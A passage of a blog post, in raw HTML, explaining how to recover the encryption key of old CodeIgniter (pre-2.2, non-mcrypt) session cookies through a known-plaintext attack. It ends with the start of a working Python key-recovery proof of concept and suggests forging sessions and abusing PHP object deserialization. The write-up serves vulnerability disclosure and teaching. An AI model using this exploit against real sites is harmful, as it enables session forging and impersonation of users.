&lt;li&gt;&lt;em&gt;array&lt;/em&gt; = &lt;code&gt;a&lt;/code&gt; &lt;code&gt;:&lt;/code&gt; number &lt;code&gt;:&lt;/code&gt; &lt;code&gt;&amp;lbrace;&lt;/code&gt; (&lt;em&gt;object&lt;/em&gt; &lt;code&gt;;&lt;/code&gt; &lt;em&gt;object&lt;/em&gt; &lt;code&gt;;&lt;/code&gt;)* &lt;code&gt;&amp;rbrace;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;string&lt;/em&gt; = &lt;code&gt;s&lt;/code&gt; &lt;code&gt;:&lt;/code&gt; number &lt;code&gt;:&lt;/code&gt; &lt;code&gt;&amp;quot;&lt;/code&gt; (any-char)* &lt;code&gt;&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;integer&lt;/em&gt; = &lt;code&gt;i&lt;/code&gt; &lt;code&gt;:&lt;/code&gt; number&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So what do we have after all this? The first two bytes of our known plaintext: &lt;code&gt;a:&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;let’s put this together&lt;/h3&gt;
&lt;p&gt;Here’s what we do: iterate over all 256 possible values of &lt;em&gt;k&lt;/em&gt;[0] and &lt;em&gt;k&lt;/em&gt;[1]; these correspond to &lt;em&gt;p&lt;/em&gt;[0].  The rest of &lt;em&gt;k&lt;/em&gt; doesn’t matter.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;For each &lt;em&gt;k&lt;/em&gt;, we calculate &lt;em&gt;p&lt;/em&gt;′ = decrypt(&lt;em&gt;k&lt;/em&gt;, &lt;em&gt;c&lt;/em&gt;).&lt;/li&gt;
&lt;li&gt;Check &lt;em&gt;p&lt;/em&gt;′[0] == &lt;em&gt;p&lt;/em&gt;[0].&lt;/li&gt;
&lt;li&gt;If valid, we found &lt;em&gt;k&lt;/em&gt;[0] and &lt;em&gt;k&lt;/em&gt;[1]!  In an average of 128 decrypt operations (which are just a bunch of XORs)!  Continue on to &lt;em&gt;p&lt;/em&gt;[1] and &lt;em&gt;k&lt;/em&gt;[2] and &lt;em&gt;k&lt;/em&gt;[3].&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This can be done very, very fast.&lt;/p&gt;
&lt;p&gt;This is actually slightly off; because of the weird keyspace and the fact that we’re XORing two parts of the key for one byte, (&lt;em&gt;k&lt;/em&gt;[&lt;em&gt;n&lt;/em&gt;], &lt;em&gt;k&lt;/em&gt;[&lt;em&gt;n&lt;/em&gt;+1]) = (&lt;code&gt;&#39;2&#39;&lt;/code&gt;, &lt;code&gt;&#39;1&#39;&lt;/code&gt;) works the same as it would if it were equal to (&lt;code&gt;&#39;3&#39;&lt;/code&gt;, &lt;code&gt;&#39;0&#39;&lt;/code&gt;).  You don’t necessarily get the exact SHA1 of the hex MD5 of the key, but you get one that works identically.&lt;/p&gt;
&lt;p&gt;(In other words, there are even fewer distinct keys than there appear! Wow.)&lt;/p&gt;
&lt;p&gt;We hit a slight hiccup because we don’t necessarily know the size of the session array, so the third byte of plaintext is unknown.  But it doesn’t take too long to realise that &lt;em&gt;k&lt;/em&gt;[0] and &lt;em&gt;k&lt;/em&gt;[1] correspond not only to &lt;em&gt;p&lt;/em&gt;[0], but also &lt;em&gt;p&lt;/em&gt;[20], &lt;em&gt;p&lt;/em&gt;[40], etc., because the key material is cycled (see above re: ECB).&lt;/p&gt;
&lt;p&gt;Let’s align the known plaintext data in rows of 20 bytes:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;tt&gt;&lt;strong&gt;a:&lt;/strong&gt;&lt;span style=&quot;color: #777&quot;&gt;4&lt;/span&gt;&lt;strong&gt;:{s:10:“session_i&lt;/strong&gt;&lt;/tt&gt;&lt;br&gt;
&lt;tt&gt;&lt;strong&gt;d”;s:32:”&lt;/strong&gt;&lt;span style=&quot;color: #777&quot;&gt;1234567890a&lt;/span&gt;&lt;/tt&gt;&lt;br&gt;
&lt;tt&gt;&lt;span style=&quot;color: #777&quot;&gt;bcdef1234567890abcde&lt;/span&gt;&lt;/tt&gt;&lt;br&gt;
&lt;tt&gt;&lt;span style=&quot;color: #777&quot;&gt;f&lt;/span&gt;&lt;strong&gt;”;s:10:“ip_address”&lt;/strong&gt;&lt;/tt&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In bold is everything we’re sure about.  You can see that, in the first two blocks (rows) alone, we have enough known-plaintext to gather all 40 bytes of key data; we’re missing the 3rd byte in the first block, but we have the 3rd byte in the second block.&lt;/p&gt;
&lt;p&gt;There is the concern that the session array may have more than 9 keys, making the unknown part of the first block one byte greater, in which case it looks like this:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;tt&gt;&lt;strong&gt;a:&lt;/strong&gt;&lt;span style=&quot;color: #777&quot;&gt;12&lt;/span&gt;&lt;strong&gt;:{s:10:“session_&lt;/strong&gt;&lt;/tt&gt;&lt;br&gt;
&lt;tt&gt;&lt;strong&gt;id”;s:32:”&lt;/strong&gt;&lt;span style=&quot;color: #777&quot;&gt;1234567890&lt;/span&gt;&lt;/tt&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is fine; we get both bytes 3 and 4 from the second block.  The same goes for many digits more, by which time we leave the realm of probability and cookie size limits.&lt;/p&gt;
&lt;p&gt;And that’s it.  We’ve done it.  You can write an automated cracker based on this alone.&lt;/p&gt;
&lt;p&gt;Here’s a PoC in action, artifically slowed down so you can watch its progress:&lt;/p&gt;
&lt;img src=&quot;https://s3.hrzn.ee/kvp/codeigniter.gif&quot;&gt;
&lt;p&gt;Too simple!  Now that you have the key (or rather, the SHA1 of the MD5 hexstring of the key — good enough), you can feel free to change the data in the session, do what you like, and become whom you like.  Maybe even realise that PHP serialisation admits arbitrary objects, which you might be able to do something special with.&lt;/p&gt;
&lt;p&gt;If you liked the article, please share!  I also welcome your feedback/thoughts on &lt;a href=&quot;https://twitter.com/kivikakk&quot;&gt;Twitter&lt;/a&gt;.  Special thanks to &lt;a href=&quot;https://twitter.com/ibutsu&quot;&gt;Kairi&lt;/a&gt; for editing this article.&lt;/p&gt;
&lt;p&gt;The PoC code follows.  Enjoy!&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-python&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;#!/usr/bin/env python3&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;# CodeIgniter pre-2.2 non-mcrypt Encrypt reverser.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;# Finds the key by partially-known plaintext attack.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;# Written by Ashe Connor.  Placed in the public domain.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;codecs&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;re&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;sys&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;time&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;decode&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #eba0ac;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #eba0ac;&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;r&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;bytearray&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;    &lt;span style=&quot;color: #cba6f7;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;i&lt;/span&gt; &lt;span style=&quot;color: #cba6f7;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;range&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;len&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;//&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;        &lt;span style=&quot;color: #cdd6f4;&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;append&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;^&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;^&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;40&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;^&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;40&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;    &lt;span style=&quot;color: #cba6f7;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;bytes&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;find_key&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #eba0ac;&quot;&gt;known&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #eba0ac;&quot;&gt;encrypted&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;key&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;bytearray&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;b&amp;#39;0&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;*&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;40&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;confirmed&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;False&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;*&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;20&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;hexstr&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;b&amp;#39;0123456789abcdef&amp;#39;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ix&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;0&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;    &lt;span style=&quot;color: #cba6f7;&quot;&gt;while&lt;/span&gt; &lt;span style=&quot;color: #cba6f7;&quot;&gt;not&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;all&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;confirmed&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;        &lt;span style=&quot;color: #cba6f7; font-style: italic;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;confirmed&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;ix&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;            &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ix&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;+=&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;1&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;            &lt;span style=&quot;color: #cba6f7;&quot;&gt;continue&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;        &lt;span style=&quot;color: #cdd6f4;&quot;&gt;kcompb&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;known&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;ix&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;33&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;34&quot;&gt;        &lt;span style=&quot;color: #cba6f7;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;k&lt;/span&gt; &lt;span style=&quot;color: #cba6f7;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;range&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;256&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;35&quot;&gt;            &lt;span style=&quot;color: #cdd6f4;&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;ix&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;40&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;hexstr&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;k&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;0xf&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;36&quot;&gt;            &lt;span style=&quot;color: #cdd6f4;&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;ix&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;40&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;hexstr&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;k&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;37&quot;&gt;            &lt;span style=&quot;color: #cdd6f4;&quot;&gt;r&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;decode&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;encrypted&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;38&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;39&quot;&gt;            &lt;span style=&quot;color: #cdd6f4;&quot;&gt;kcomp&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;kcompb&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;40&quot;&gt;            &lt;span style=&quot;color: #cdd6f4;&quot;&gt;rcomp&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;ix&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;len&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;kcomp&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;41&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;42&quot;&gt;            &lt;span style=&quot;color: #cba6f7;&quot;&gt;while&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;True&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;43&quot;&gt;                &lt;span style=&quot;color: #cba6f7;&quot;&gt;try&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;44&quot;&gt;                    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;j&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;kcomp&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;index&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;b&amp;#39; &amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;45&quot;&gt;                &lt;span style=&quot;color: #cba6f7;&quot;&gt;except&lt;/span&gt; &lt;span style=&quot;color: #cba6f7;&quot;&gt;ValueError&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;46&quot;&gt;                    &lt;span style=&quot;color: #cba6f7;&quot;&gt;break&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;47&quot;&gt;                &lt;span style=&quot;color: #cdd6f4;&quot;&gt;kcomp&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;kcomp&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;j&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;kcomp&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;j&lt;/span&gt;&lt;span style=&quot;color: 